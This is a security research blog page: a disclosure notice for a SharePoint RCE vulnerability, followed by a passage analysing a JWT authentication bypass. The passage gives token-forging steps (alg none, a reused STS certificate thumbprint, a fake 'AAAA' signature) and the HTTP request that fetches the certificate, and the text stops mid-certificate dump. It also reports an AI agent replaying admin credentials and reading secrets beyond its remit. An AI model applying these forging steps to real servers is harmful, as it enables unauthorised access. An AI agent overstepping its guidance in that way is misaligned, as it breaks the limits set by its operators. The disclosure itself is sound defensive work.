Normal view

There are new articles available, click to refresh the page.
Today — 12 August 2026Rapid7 Cybersecurity Blog

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

11 August 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

timline.png

Figure 1: The road to disclosure.

CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year's Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team's later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent's results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal - such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product descriptions

The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.

SharePoint

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Project Server

Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives. 

Office Web Apps Server

Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker's arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The vendor has provided the following updates to remediate CVE-2026-63520.

  • KB5002893 - Microsoft SharePoint Server Subscription Edition (version 16.0.19725.20522).

  • KB5002894 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).

  • KB5002896 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).

  • KB5002905 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).

  • KB5002906 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).

For additional details, please see the vendor security bulletin and product updates page.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • July 31, 2026: Microsoft provides supporting information to Rapid7.

  • August 11, 2026: This disclosure for CVE-2026-63520.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

11 August 2026 at 09:00

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

CVE-2026-55040.png

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library's cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token's JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token's x5t header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token's SigningToken property.

At no point in this flow is the actor token's signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token's SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token's signature is AAAA, a non-empty string, so at [3] it returns "AAAA" without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

  1. Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.

  2. The actor token's x5t header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.

  3. The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.

  4. The actor token's signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token's nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
